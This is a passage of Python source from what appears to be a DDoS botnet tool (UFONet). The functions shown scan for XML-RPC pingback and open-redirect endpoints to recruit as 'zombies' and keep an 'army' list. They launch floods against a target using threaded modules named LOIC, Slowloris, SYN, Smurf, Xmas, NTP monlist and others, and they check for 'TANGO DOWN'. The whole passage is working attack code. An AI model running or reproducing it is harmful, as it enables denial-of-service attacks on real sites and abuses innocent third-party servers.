  4062. def testing_rpcs(self, rpcs):
  4063. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4064. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4065. options = self.options
  4066. if self.options.testall: #testing_all
  4067. print('='*51)
  4068. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4069. print('='*51)
  4070. num_active_rpcs = 0
  4071. num_failed_rpcs = 0
  4072. rpcs_ready = []
  4073. print("Trying:", len(rpcs))
  4074. print('-'*21)
  4075. for rpc in rpcs:
  4076. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4077. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4078. if rpc.startswith("http://") or rpc.startswith("https://"):
  4079. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4080. rpc_host = rpc.replace("/xmlrpc.php", "")
  4081. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4082. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4083. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4084. try:
  4085. if options.proxy: # set proxy
  4086. self.proxy_transport(options.proxy)
  4087. try:
  4088. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4089. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4090. except:
  4091. if DEBUG == True:
  4092. traceback.print_exc()
  4093. if self.options.verbose:
  4094. print("[Info] [X-RPCs] Reply:", target_reply)
  4095. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4096. print("[Info] [AI] -> [VULNERABLE!]")
  4097. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4098. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4099. else:
  4100. print("[Info] [AI] -> [NOT vulnerable...]")
  4101. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4102. except:
  4103. print("[Info] [AI] -> [NOT vulnerable...]")
  4104. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4105. else:
  4106. print("[Info] [AI] -> [NOT vulnerable...]")
  4107. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4108. print('-'*21)
  4109. print('='*18)
  4110. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4111. print('='*18)
  4112. if self.options.testall: # testing_all
  4113. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4114. else:
  4115. # update 'rpcs' list
  4116. if num_active_rpcs == 0:
  4117. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4118. return
  4119. else:
  4120. if not self.options.forceyes:
  4121. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4122. print('-'*25)
  4123. else:
  4124. update_reply = "Y"
  4125. if update_reply == "n" or update_reply == "N":
  4126. print("[AI] "+self.exit_msg+"\n")
  4127. return
  4128. else:
  4129. self.update_rpcs(rpcs_ready)
  4130. if not self.options.upload:
  4131. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4132. def testing(self, zombies):
  4133. # test Open Redirect exploiting and show statistics
  4134. # HTTP HEAD check
  4135. army = 0
  4136. print ("Are 'they' alive? :-) (HEAD Check):")
  4137. print('='*35)
  4138. num_active_zombies = 0
  4139. num_failed_zombies = 0
  4140. active_zombies = []
  4141. print("Trying:", len(zombies))
  4142. print('-'*21)
  4143. for zombie in zombies:
  4144. zombie = str(zombie)
  4145. if zombie.startswith("http://") or zombie.startswith("https://"):
  4146. # send HEAD connection
  4147. self.head = True
  4148. try:
  4149. self.connect_zombies(zombie)
  4150. except:
  4151. pass
  4152. while self.herd.no_more_zombies() == False:
  4153. time.sleep(1)
  4154. for zombie in self.herd.done:
  4155. zombie = str(zombie)
  4156. t = urlparse(zombie)
  4157. if self.herd.get_result(zombie):
  4158. code_reply = self.herd.get_result(zombie)
  4159. self.head = False
  4160. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4161. name_zombie = t.netloc
  4162. if name_zombie == "":
  4163. name_zombie = zombie
  4164. print("Zombie:", name_zombie)
  4165. print("Status: OK ["+ code_reply + "]")
  4166. num_active_zombies = num_active_zombies + 1
  4167. active_zombies.append(zombie)
  4168. elif code_reply == "401":
  4169. print("Zombie:", t.netloc)
  4170. print("Status: Unauthorized ["+ code_reply + "]")
  4171. num_failed_zombies = num_failed_zombies + 1
  4172. elif code_reply == "403":
  4173. print("Zombie:", t.netloc)
  4174. print("Status: Error Forbidden ["+ code_reply + "]")
  4175. num_failed_zombies = num_failed_zombies + 1
  4176. elif code_reply == "404":
  4177. print("Zombie:", t.netloc)
  4178. print("Status: Not Found ["+ code_reply + "]")
  4179. num_failed_zombies = num_failed_zombies + 1
  4180. elif code_reply == "500":
  4181. print("Zombie:", t.netloc)
  4182. print("Status: Internal Server Error ["+ code_reply + "]")
  4183. num_failed_zombies = num_failed_zombies + 1
  4184. else:
  4185. print("Zombie:", t.netloc, "\nVector:", zombie)
  4186. print("Status: Not Allowed ["+ code_reply + "]")
  4187. num_failed_zombies = num_failed_zombies + 1
  4188. else:
  4189. if self.options.verbose:
  4190. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4191. print("Zombie:", zombie)
  4192. print("Status: Malformed!")
  4193. num_failed_zombies = num_failed_zombies + 1
  4194. print('-'*10)
  4195. self.herd.reset()
  4196. print('='*18)
  4197. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4198. print('='*18 + "\n")
  4199. print('='*22)
  4200. if num_active_zombies > 0:
  4201. # check url parameter vectors
  4202. print ("Checking for payloads:")
  4203. print('='*22)
  4204. print("Trying:", num_active_zombies)
  4205. print('-'*21)
  4206. zombies_ready = []
  4207. num_waiting_zombies = 0
  4208. if num_active_zombies == 0:
  4209. num_disconnected_zombies = num_failed_zombies
  4210. else:
  4211. num_disconnected_zombies = 0
  4212. for zombie in active_zombies:
  4213. zombie = str(zombie)
  4214. t = urlparse(zombie)
  4215. name_zombie = t.netloc
  4216. if name_zombie == "":
  4217. name_zombie = zombie
  4218. self.payload = True
  4219. try:
  4220. self.connect_zombies(zombie)
  4221. except:
  4222. pass
  4223. self.payload = False
  4224. while self.herd.no_more_zombies() == False:
  4225. time.sleep(1)
  4226. for zombie in self.herd.done:
  4227. zombie = str(zombie)
  4228. t = urlparse(zombie)
  4229. name_zombie = t.netloc
  4230. if name_zombie == "":
  4231. name_zombie = zombie
  4232. payload_zombie = zombie
  4233. payload_reply = ""
  4234. print("Vector:", payload_zombie)
  4235. self.payload = True
  4236. if self.herd.get_result(zombie):
  4237. payload_reply = self.herd.get_result(zombie)
  4238. self.payload = False
  4239. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4240. num_waiting_zombies = num_waiting_zombies + 1
  4241. print("Status:", "Waiting for orders... ;-)")
  4242. zombies_ready.append(zombie)
  4243. else:
  4244. num_disconnected_zombies = num_disconnected_zombies + 1
  4245. print("Status:", "Not ready...")
  4246. army = army + 1
  4247. print('-'*10)
  4248. self.herd.reset()
  4249. print('='*18)
  4250. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4251. print('='*18 + "\n")
  4252. # list of [Zombies] ready to attack
  4253. num_active_zombie = 0
  4254. for z in zombies_ready:
  4255. t = urlparse(z)
  4256. name_zombie = t.netloc
  4257. if name_zombie == "":
  4258. name_zombie = z
  4259. num_active_zombie = num_active_zombie + 1
  4260. if self.options.verbose:
  4261. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4262. if self.options.testall: # testing_all
  4263. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4264. else:
  4265. print('-'*25 + "\n")
  4266. print('='*24)
  4267. print("Working [Zombies]:", num_active_zombie)
  4268. print('='*24)
  4269. if not self.options.forceyes:
  4270. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4271. print('-'*25)
  4272. else:
  4273. update_reply = "Y"
  4274. if update_reply == "n" or update_reply == "N":
  4275. print("[AI] "+self.exit_msg+"\n")
  4276. return
  4277. else:
  4278. self.update_zombies(zombies_ready)
  4279. if not self.options.upload:
  4280. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4281. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4282. else:
  4283. print('-'*25 + "\n")
  4284. print('='*24)
  4285. print("Working [Zombies]:", num_active_zombies)
  4286. print('='*24)
  4287. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4288. def testing_all(self):
  4289. # test whole botnet
  4290. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4291. print('='*35)
  4292. zombies = self.extract_zombies()
  4293. rpcs = self.extract_rpcs()
  4294. aliens = self.extract_aliens()
  4295. droids = self.extract_droids()
  4296. ucavs = self.extract_ucavs()
  4297. try:
  4298. botnet = zombies + rpcs + aliens + droids + ucavs
  4299. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4300. except:
  4301. return
  4302. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4303. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4304. print("\n" + '='*52)
  4305. print("\n+ Total Botnet:", len(botnet))
  4306. print("\n" + '-'*25)
  4307. print("\n+ Total Tested:", len(tested_zombies))
  4308. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4309. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4310. print('='*52 + '\n')
  4311. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4312. if not self.options.forceyes:
  4313. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4314. print('-'*25)
  4315. else:
  4316. update_reply = "Y"
  4317. if update_reply == "n" or update_reply == "N":
  4318. print("[AI] "+self.exit_msg+"\n")
  4319. return
  4320. else:
  4321. if num_disconnected_zombies > 0:
  4322. self.update_zombies(zombies_ready)
  4323. if num_failed_rpcs > 0:
  4324. self.update_rpcs(rpcs_ready)
  4325. if not self.options.upload:
  4326. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4327. else:
  4328. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4329. def attacking(self, zombies, target):
  4330. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4331. if self.options.forcessl:
  4332. if target.startswith("http://"):
  4333. target = target.replace("http://", "https://") # force SSL/TLS
  4334. if target.startswith("http://") or target.startswith("https://"):
  4335. print("Attacking:", target)
  4336. print('='*55, "\n")
  4337. # send Open Redirect injection (multiple zombies > one target url)
  4338. reply = self.injection(target, zombies)
  4339. else:
  4340. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4341. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4342. # perform some other extra attacks (such as DoS techniques)
  4343. time.sleep(2) # aiming (multi-threading flow time compensation)
  4344. if loic:
  4345. try:
  4346. self.options.loic = int(loic)
  4347. except:
  4348. self.options.loic = 100 # default LOIC requests
  4349. if self.options.loic < 1:
  4350. self.options.loic = 100
  4351. self.instance = LOIC() # instance main class for LOIC operations
  4352. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4353. self.t1.daemon = True # extra weapons are threaded as daemons
  4354. self.t1.start()
  4355. self.update_loic_stats() # add new LOIC attack to mothership stats
  4356. if loris:
  4357. try:
  4358. self.options.loris = int(loris)
  4359. except:
  4360. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4361. if self.options.loris < 1:
  4362. self.options.loris = 101
  4363. self.instance = LORIS() # instance main class for LORIS operations
  4364. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4365. self.t2.daemon = True
  4366. self.t2.start()
  4367. self.update_loris_stats() # add new LORIS attack to mothership stats
  4368. if ufosyn:
  4369. try:
  4370. self.options.ufosyn = int(ufosyn)
  4371. except:
  4372. self.options.ufosyn = 100 # default UFOSYN requests
  4373. if self.options.ufosyn < 1:
  4374. self.options.ufosyn = 100
  4375. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4376. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4377. self.t3.daemon = True
  4378. self.t3.start()
  4379. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4380. if spray:
  4381. try:
  4382. self.options.spray = int(spray)
  4383. except:
  4384. self.options.spray = 100 # default SPRAY requests
  4385. if self.options.spray < 1:
  4386. self.options.spray = 100
  4387. self.instance = SPRAY() # instance main class for SPRAY operations
  4388. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4389. self.t4.daemon = True
  4390. self.t4.start()
  4391. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4392. if smurf:
  4393. try:
  4394. self.options.smurf = int(smurf)
  4395. except:
  4396. self.options.smurf = 101 # default SMURF requests
  4397. if self.options.smurf < 1:
  4398. self.options.smurf = 101
  4399. self.instance = SMURF() # instance main class for SMURF operations
  4400. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4401. self.t5.daemon = True
  4402. self.t5.start()
  4403. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4404. if xmas:
  4405. try:
  4406. self.options.xmas = int(xmas)
  4407. except:
  4408. self.options.xmas = 101 # default XMAS requests
  4409. if self.options.xmas < 1:
  4410. self.options.xmas = 101
  4411. self.instance = XMAS() # instance main class for XMAS operations
  4412. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4413. self.t6.daemon = True
  4414. self.t6.start()
  4415. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4416. if nuke:
  4417. if sys.platform == "linux" or sys.platform == "linux2":
  4418. try:
  4419. self.options.nuke = int(nuke)
  4420. except:
  4421. self.options.nuke = 10000 # default NUKE requests
  4422. if self.options.nuke < 1:
  4423. self.options.nuke = 10000
  4424. self.instance = NUKE() # instance main class for NUKE operations
  4425. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4426. self.t7.daemon = True # extra weapons are threaded as daemons
  4427. self.t7.start()
  4428. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4429. else:
  4430. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4431. if tachyon:
  4432. try:
  4433. self.options.tachyon = int(tachyon)
  4434. except:
  4435. self.options.tachyon = 1000 # default TACHYON requests
  4436. if self.options.tachyon < 1:
  4437. self.options.tachyon = 1000
  4438. self.instance = TACHYON() # instance main class for TACHYON operations
  4439. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4440. self.t8.daemon = True
  4441. self.t8.start()
  4442. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4443. if monlist:
  4444. try:
  4445. self.options.monlist = int(monlist)
  4446. except:
  4447. self.options.monlist = 1000 # default MONLIST requests
  4448. if self.options.monlist < 1:
  4449. self.options.monlist = 1000
  4450. self.instance = MONLIST() # instance main class for MONLIST operations
  4451. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4452. self.t9.daemon = True
  4453. self.t9.start()
  4454. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4455. def stressing(self, target, zombie):
  4456. # perform a DDoS Web attack against a target, requesting records on target's database
  4457. options = self.options
  4458. db_input = self.options.dbstress
  4459. def random_key(length):
  4460. key = ''
  4461. for i in range(length):
  4462. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4463. return key
  4464. # generating random alphanumeric queries
  4465. if self.db_flash > 9: # set db flash start on: 10
  4466. length = 1024 # search a heavy random length query (db flash): 1024
  4467. self.db_flash = 0 # reset db flash counter
  4468. else:
  4469. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4470. key = str(random_key(length))
  4471. if self.db_flash > 9:
  4472. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4473. else:
  4474. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4475. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4476. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4477. if not target.endswith('/'): # add "/" to end of target
  4478. target = target + "/"
  4479. url = zombie + target + db_input + key
  4480. req = urllib.request.Request(url, None, headers)
  4481. if options.proxy: # set proxy
  4482. self.proxy_transport(options.proxy)
  4483. try:
  4484. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4485. except urllib.error.HTTPError as e:
  4486. if e.code == 401:
  4487. print('[Info] [DBStress] Not authorized')
  4488. elif e.code == 404:
  4489. print('[Info] [DBStress] Not found')
  4490. elif e.code == 503:
  4491. print('[Info] [DBStress] Service unavailable')
  4492. else:
  4493. print('[Info] [DBStress] Unknown error')
  4494. else:
  4495. print('[Info] [DBStress] Database query: HIT!')
  4496. def attackme(self, zombies):
  4497. # perform a DDoS Web attack against yourself
  4498. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4499. print('='*21 + "\n")
  4500. self.doll=Doll(self)
  4501. self.doll.start()
  4502. while not self.doll._armed:
  4503. time.sleep(1)
  4504. # send Open Redirect injection (multiple zombies-multiple target urls)
  4505. target = ""
  4506. self.injection(target, zombies)
  4507. self.doll.shutdown()
  4508. self.doll.join()
  4509. self.herd.list_fails()
  4510. def check_target_status(self):
  4511. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4512. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4513. if not self.options.forceyes:
  4514. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4515. print("\n" + '-'*25)
  4516. else:
  4517. update_reply = "N"
  4518. if update_reply == "y" or update_reply == "Y":
  4519. try: # send HEAD connection
  4520. self.head = True
  4521. reply = self.connect_zombie(target)
  4522. self.head = False
  4523. if reply:
  4524. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4525. else:
  4526. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4527. self.update_targets_crashed() # update targets crashed stats
  4528. self.update_mothership_stats() # update mothership completed attack stats
  4529. except Exception:
  4530. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4531. if DEBUG == True:
  4532. traceback.print_exc()
  4533. return
  4534. else:
  4535. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4536. self.update_targets_crashed() # update targets crashed stats
  4537. self.update_mothership_stats() # update mothership completed attack stats
  4538. return
  4539. def starting_target_check(self, target, head_check):
  4540. options = self.options
  4541. head_check_here = False
  4542. head_check_external = False
  4543. if options.disablehead: # check at start is disabled (skipping!)
  4544. print("[Info] [AI] Skipping external check...\n")
  4545. head_check_here = True
  4546. head_check_external = True
  4547. else:
  4548. if head_check:
  4549. if not options.attackme:
  4550. print("[AI] Launching: 'Is target up?' check...\n")
  4551. try: # send HEAD connection
  4552. self.head = True
  4553. reply = self.connect_zombie(target)
  4554. self.head = False
  4555. if reply:
  4556. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4557. head_check_here = True
  4558. else:
  4559. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4560. head_check_here = False
  4561. except Exception:
  4562. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4563. if DEBUG == True:
  4564. traceback.print_exc()
  4565. head_check_here = False
  4566. else: # check if local IP/PORT is listening on mothership
  4567. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4568. try:
  4569. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4570. result = sock.connect_ex(('0.0.0.0',8080))
  4571. if result == 0 or result == 110: # black magic
  4572. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4573. head_check_here = True
  4574. else:
  4575. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4576. head_check_here = False
  4577. except Exception:
  4578. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4579. if DEBUG == True:
  4580. traceback.print_exc()
  4581. head_check_here = False
  4582. else:
  4583. head_check_here = True
  4584. # check target using external check services
  4585. self.external = True
  4586. if not options.attackme:
  4587. try:
  4588. target = self.parse_url_encoding(target) # parse for proper url encoding
  4589. try:
  4590. url = self.external_check_service1 + target # check from external service [1]
  4591. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4592. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4593. if options.proxy: # set proxy
  4594. self.proxy_transport(options.proxy)
  4595. req = urllib.request.Request(url, None, headers)
  4596. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4597. if b"returned code 200 OK and is up" in external_reply:
  4598. t = urlparse(self.external_check_service1)
  4599. name_external1 = t.netloc
  4600. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4601. head_check_external = True
  4602. except:
  4603. url = self.external_check_service2 + target # check from external service [2]
  4604. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4605. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4606. if options.proxy: # set proxy
  4607. self.proxy_transport(options.proxy)
  4608. req = urllib.request.Request(url, None, headers)
  4609. try:
  4610. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4611. if b"It's just you" in req_reply:
  4612. t = urlparse(self.external_check_service2)
  4613. name_external2 = t.netloc
  4614. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4615. head_check_external = True
  4616. else:
  4617. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4618. head_check_external = False
  4619. except urllib.error.HTTPError as e:
  4620. if e:
  4621. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  4622. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4623. head_check_external = False
  4624. except Exception:
  4625. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4626. if DEBUG == True:
  4627. traceback.print_exc()
  4628. head_check_external = False
  4629. else:
  4630. try: # check mothership from public ip / NAT using HEAD request
  4631. try:
  4632. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4633. reply = urllib.request.urlopen(req)
  4634. except Exception:
  4635. reply = None
  4636. if reply:
  4637. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4638. head_check_external = True
  4639. else:
  4640. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4641. head_check_external = False
  4642. head_check_here = False # stop attack if not public IP available
  4643. except Exception:
  4644. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4645. head_check_here = False # stop attack if not public IP available
  4646. if DEBUG == True:
  4647. traceback.print_exc()
  4648. head_check_external = False
  4649. self.external = False
  4650. return head_check_here, head_check_external
  4651. def injection(self, target, zombies, head_check = True):
  4652. options = self.options
  4653. # check target's integrity at start
  4654. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4655. # ask user to confirm the attack
  4656. if head_check_here == True or head_check_external == True:
  4657. if not self.options.forceyes:
  4658. if not options.attackme:
  4659. if not options.disablehead:
  4660. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4661. else:
  4662. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4663. else:
  4664. if not options.disablehead:
  4665. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4666. else:
  4667. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4668. else:
  4669. start_reply = "Y"
  4670. if start_reply == "y" or start_reply == "Y":
  4671. if options.attackme:
  4672. total_rounds = 2 # default rounds for attackme
  4673. else:
  4674. total_rounds = options.rounds # extract number of rounds
  4675. try:
  4676. total_rounds = int(total_rounds)
  4677. except:
  4678. total_rounds = 1
  4679. if not total_rounds:
  4680. total_rounds = 1
  4681. if total_rounds <= 0:
  4682. total_rounds = 1
  4683. self.herd.cleanup()
  4684. num_round = 1
  4685. num_hits = 0
  4686. num_zombie = 1
  4687. # start to attack the target with [MODS]
  4688. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4689. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4690. ex.daemon = True # extra weapons are threaded as daemons
  4691. ex.start()
  4692. # start to attack the target with [ARMY]
  4693. zombies = self.extract_zombies() # extract zombies from file
  4694. if zombies:
  4695. self.total_zombie = len(zombies)
  4696. else:
  4697. self.total_zombie = 0
  4698. return
  4699. self.herd=Herd(self)
  4700. if not self.options.disablepurge:
  4701. self.discardzombies = []
  4702. self.discard_aliens = []
  4703. self.discard_droids = []
  4704. self.discard_rpcs = []
  4705. self.discard_ucavs = []
  4706. total_disc_zombies = 0
  4707. self.num_discard_zombies = 0
  4708. self.num_discard_aliens = 0
  4709. self.num_discard_droids = 0
  4710. self.num_discard_rpcs = 0
  4711. self.num_discard_ucavs = 0
  4712. self.empty_zombies = False
  4713. for i in range(0, int(total_rounds)): # start attacking using rounds
  4714. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4715. print('='*42)
  4716. print('Starting round:', num_round, ' of ', total_rounds)
  4717. print('='*42)
  4718. self.herd.reset()
  4719. self.extra_zombies_lock = True
  4720. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4721. self.send_zombies(zombies) # send [Zombies]
  4722. if not self.options.attackme:
  4723. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4724. if self.options.verbose:
  4725. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4726. self.send_extra_zombies() # send [ARMY]
  4727. while self.extra_zombies_lock == True:
  4728. time.sleep(1) # wait for [ARMY] to return
  4729. if self.options.verbose:
  4730. print("\n" + '='*42)
  4731. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4732. else:
  4733. zombies_lock = 0
  4734. if self.options.expire: # set timing for purge
  4735. try:
  4736. timing = int(self.options.expire)
  4737. except:
  4738. timing = self.expire_timing # default timing for purge
  4739. else:
  4740. timing = self.expire_timing # default timing for purge
  4741. if timing < 1:
  4742. timing = self.expire_timing # default timing for purge
  4743. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4744. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4745. zombies_lock = zombies_lock + 1
  4746. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4747. if self.options.verbose:
  4748. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4749. break
  4750. else:
  4751. time.sleep(1)
  4752. if self.options.verbose:
  4753. print("\n" + '='*42)
  4754. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4755. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4756. self.check_target_status()
  4757. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4758. self.abandoning_zombies() # check for abandoning zombies
  4759. for zombie in self.herd.done: # check for num hits
  4760. if self.herd.connection_failed(zombie) == False:
  4761. num_hits = num_hits + 1
  4762. num_zombie = num_zombie + 1
  4763. if num_zombie > self.total_zombie:
  4764. num_zombie = 1
  4765. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4766. check_is_loading = self.check_is_loading(target)
  4767. self.herd.dump_html()
  4768. if not self.options.disablepurge:
  4769. if self.empty_zombies == True:
  4770. break # exit routine when not any more zombies
  4771. num_round = num_round + 1
  4772. if self.options.verbose:
  4773. print("\n" + '='*42)
  4774. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4775. if self.options.loic: # try to stop daemons/threads for extra weapons
  4776. self.t1.join()
  4777. if self.options.loris:
  4778. self.t2.join()
  4779. if self.options.ufosyn:
  4780. self.t3.join()
  4781. if self.options.spray:
  4782. self.t4.join()
  4783. if self.options.smurf:
  4784. self.t5.join()
  4785. if self.options.xmas:
  4786. self.t6.join()
  4787. if self.options.nuke:
  4788. self.t7.join()
  4789. if self.options.tachyon:
  4790. self.t8.join()
  4791. if self.options.monlist:
  4792. self.t9.join()
  4793. if self.options.target_list:
  4794. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4795. print ("\x1b[2J\x1b[H") # black magic
  4796. if not self.options.attackme: # show herd results
  4797. self.herd.dump()
  4798. else: # show doll results
  4799. print('='*21)
  4800. print("\n[Info] [AI] Mothership transmission...\n")
